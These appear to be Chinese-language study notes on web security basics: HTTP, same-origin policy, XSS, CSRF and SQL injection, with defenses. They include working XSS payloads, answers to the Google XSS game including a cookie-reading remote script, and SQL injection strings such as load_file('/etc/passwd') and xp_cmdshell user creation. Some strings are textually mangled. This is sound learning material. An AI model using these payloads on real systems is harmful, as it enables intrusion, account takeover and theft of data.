Web security basic
HTTP 協議與會話管理
當我們訪問一個網址中間會發生什麼?
1.輸入網址
2.查詢域名的IP地址(DNS)
3.瀏覽器發給伺服器http request
4.服務端處理請求
5.服務端send http response
6.瀏覽器依據response渲染頁面
URL: scheme://login:password@address:port/path/to/resource/?query_string#fragment
1.protocol name
2.訪問資源需要的憑證(optional)
3.從哪個伺服器獲取數據
4.需要連接的埠號
5.指向資源的層級文件路徑
6.查詢字元串
7.片段ID
瀏覽器安全策略
HTML-超文本標記語言
CSS-層疊樣式表
Javascript-客戶端腳本語言
同源策略:不同域的客戶端腳本,在沒有明確授權的情況下,無法獲得到對方的資源(協議,域名,子域,埠)
如果沒有同源策略,一個惡意網站可以獲得其他網站的cookie進而登陸獲取信息
沙盒框架:是對常規<iframe>表現行為的擴展,它能讓頂級頁面對其嵌入的子頁面及這些子頁面的子資源設置一些額外的限制
- <allow-script>
- <allow-forms>
- <allow-top-navigation>
- <allow-same-origin>
Flash安全沙箱:分為本地沙箱和遠程沙箱,類似同源策略
內容安全策略(content security policy):通過編碼在http響應頭中的指令來實施策略
e.g. script-src 指定載入腳本的域 img-src 指定了載入圖片的域
XSS介紹(看到框就想X)
cross-site script(跨站腳本攻擊):在頁面植入惡意代碼,訪問者訪問頁面時,瀏覽器就會執行惡意代碼。屬於HTML注入。
原因:對於用戶輸入沒有嚴格控制而直接輸出到頁面(對非預期輸入的信任)
危害:盜取賬號,竊取數據,非法轉賬,掛馬
期望package是55WPayload(有效載荷):<img src=0 onerror=alert(5)>
PoC(proof of concept):驗證程序,無害
Exp(exploit):漏洞利用程序,有害
XSS分類
存儲型(持久型) e.g. 留言板功能:提交留言-》存儲到資料庫-》渲染頁面-》讀取數據
微信漏洞:對昵稱進行XSS
反射型(非持久型)
DOM型
mXSS 突變型 本來是被轉譯了,後來因為程序的原因又變成了有效XSS
盲打平台與蠕蟲
無法得知payload是否被成功執行 e.g <img src=0 onerror=alert(0)>
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Firebug:
- Inspect HTML and modify style and layout in real-time
- Use the most advanced JavaScript debugger available for any browser
- Accurately analyze network usage and performance
- Extend Firebug and add features to make Firebug even more powerful
- Get the information you need to get it done with Firebug.
Hackbar: This toolbar will help you in testing sql injections, XSS holes and site security. It is NOT a tool for executing standard exploits and it will NOT teach you how to hack a site. Its main purpose is to help a developer do security audits on his code.
Google XSS Teat Platform: https://xss-game.appspot.com/
Answer:
第一關:閉合標籤 </b><script>alert(/xss/)</script><b> | <svg/onload=alert(/xss/)>
第二關:論壇留言存儲型XSS <img src=0 onerror=alert(xss)>
第三關:payload= onerror=alert(0)
<img src="/static/level3/cloud" onerror="alert(0)" .jpg="">
第四關:查看JS源碼:https://xss-game.appspot.com/level4/frame?timer=3
在 <img src="/static/loading.gif" onload="startTimer(3);" />上做文章
payload:);alert(0 結果是被轉譯 %27 ) %29 ; %3B
最後發現轉譯分號即可 )%3Balert(0
第五關 next=javascript:alert(0)
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(0)
第六關:https://xss-game.appspot.com/level6/frame#/static/gadget.js
https://xss-game.appspot.com/level6/frame#http://Http://payload.js
payload.js = alert(document.cookie)
XSS Defense
html_escape,javascript_string_escape,url_escape
統一編碼 utf-8
content-type:避免Json的XSS等問題
HTTP響應頭XSS防護指令
X-XSS-Protection:1; mode=block 該響應頭會開啟瀏覽器的防XSS過濾器
X-Frame-Options:deny 該響應頭會禁止頁面被載入到框架
X-content-type-options:nosniff 該響應頭會阻止瀏覽器做MIMEtype嗅探
Content-Security-Policy: default-src 「self」該響應頭是目前防止XSS最有效的方案之一,它允許我們定義從URLS或內容中載入和執行對象的策略
Set-Cookie:key=value;HttpOnly: 限制JS訪問你的cookie
Content-type:type/subtype;charset=utf-8
設置響應的內容類型和字符集,例如:返回json格式應使用application/json,純文本使用text/plain,HTML使用text/html,以及設置字體集為utf-8
PHP, JS, python Django 。。。
CSRF 跨站請求偽造
Cross-Site request forgery (one click attack/session riding)
原理:利用被害者的身份去發送請求
http://www.a.com/del?id=333">
瀏覽器cookie保存機制
session cookie 瀏覽器關閉就失效了/ 本地cookie 設置的時間過了就失效了
SQL Injection
數據與代碼分離原則
注入點分類:
- 字元型(username=admin)
- 整數型(id=1)
- 搜索型
SQL注入攻擊分類
- 沒有正確的過濾轉義字元
- 錯誤的類型處理(本來應該傳入整數型,我們傳入了字元型)
- 資料庫伺服器中的漏洞
- SQL盲注(錯誤沒有回顯)
- 條件響應(and 1=1 and 1=2)
- 條件性差錯(select 1/0)
- 時間延遲
SQL注入原理
利用動態構造注入語句
字元串型:
and 1=1
and 1=1; --
id=2-1
Access的資料庫注入
- 猜解表名
- 猜解列名
- 猜解欄位值長度
- ASCII逐字解碼法猜解欄位值
猜表名
id=1 and (select count(*) from guess_table >0)
id=1 and exists (select * from guess_table)
猜列名
id=1 and (select count(guess_column_name) from table >0)
猜長度
and (select top 1 len(word) from table) >1
猜欄位值
id=1 and (select asc(mid(url,1,1)from table where table_id=6
如果>96 <97則為a,可以用二分法測試
PHP+MySQL注入
id=1 and 1=2 UNION SELECT 1,2,load_file(/etc/passwd)
SQL Server 注入
group by | having
爆表名,爆列名
基於不同方法的條件語句的使用
基於時間(SQLServer)
有管理員訪問許可權
if(system_user=sa)waitfor delay 0:0:5 -
基於時間(MySQL)
select sleep(5)
基於錯誤的
id=1/case when (system_user=sa) then 1 else 0 end
基於內容
id=1%2b case when (system_user=sa) then 1 else 0 end
其他SQL注入利用手法
萬能密碼
sql= select * from users when username= or = or and passwd=admin
字元與編碼處理
消除引號 id=1;exec master db0.xp_cmdshell net user fooying/add
declare @a sysnamenselect @a=<16進位代碼>nexec master .dbo.xp_cmdshell @an
二次編碼
空格 /**/
SQL注入的防禦
基礎與二次過濾
1.輸入檢查
2.特殊符號過濾
3.白名單與黑名單
1.使用參數化語句
平台層的防禦
1.Web 應用防火牆(規則庫,匹配get,post請求)
2.URL策略與頁面策略
3.資料庫許可權控制(沒有root許可權)
4.額外的部署考慮
推薦閱讀:
※記一次720度托馬斯迴旋過狗!
※今日頭條窺探了我們多少隱私??
※Linux版"永恆之藍」(CVE-2017-7494)復現過程分析
※專家教你利用深度學習檢測惡意代碼
TAG:信息安全 |